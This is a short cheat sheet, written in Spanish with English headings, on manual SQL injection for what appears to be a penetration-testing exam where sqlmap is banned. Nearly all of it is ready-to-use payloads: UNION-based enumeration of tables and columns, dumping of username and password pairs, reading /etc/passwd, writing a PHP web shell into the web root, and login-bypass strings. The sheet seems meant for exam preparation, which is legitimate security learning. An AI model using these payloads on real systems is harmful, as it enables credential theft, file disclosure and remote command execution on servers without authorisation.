manual SQL Injection¶
[!warning] Exam Rule Alert
sqlmapautomático está PROHIBIDO en la mayoría de máquinas (solo permitido en 1 máquina). Debes saber explotarlo a mano.
1. Detection (Error Based)¶
Añade ' o " al final de un parámetro URL (id=1').
Si ves:
"You have an error in your SQL syntax..." VULNERABLE.
2. Union Based (Extraction)¶
Extraer datos uniendo resultados.
Paso 1: Encontrar número de columnas¶
Usa ORDER BY hasta que de error.
id=1 ORDER BY 1-- - (Funciona)
id=1 ORDER BY 2-- - (Funciona)
id=1 ORDER BY 3-- - (Error!) -> Hay 2 columnas.
Paso 2: Identificar columna visible¶
(Ponemos ID negativo para anular el query original y ver "1" o "2" en pantalla).Paso 3: Enumerar Base de Datos¶
# Versión y Usuario
id=-1 UNION SELECT @@version, user()-- -
# Listar Tablas
id=-1 UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -
# Listar Columnas (de tabla 'users')
id=-1 UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name='users'-- -
# Dump Data
id=-1 UNION SELECT 1, group_concat(username,':',password) FROM users-- -
3. Reading/Writing Files¶
Si el usuario de DB es root (dba privilege).
# Leer archivos (LFI)
id=-1 UNION SELECT 1, load_file('/etc/passwd')-- -
# Escribir Shell (RCE)
id=-1 UNION SELECT 1, "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
4. Login Bypass¶
Pruébalo en paneles de login.
* admin' -- -
* admin' #
* ' OR 1=1-- -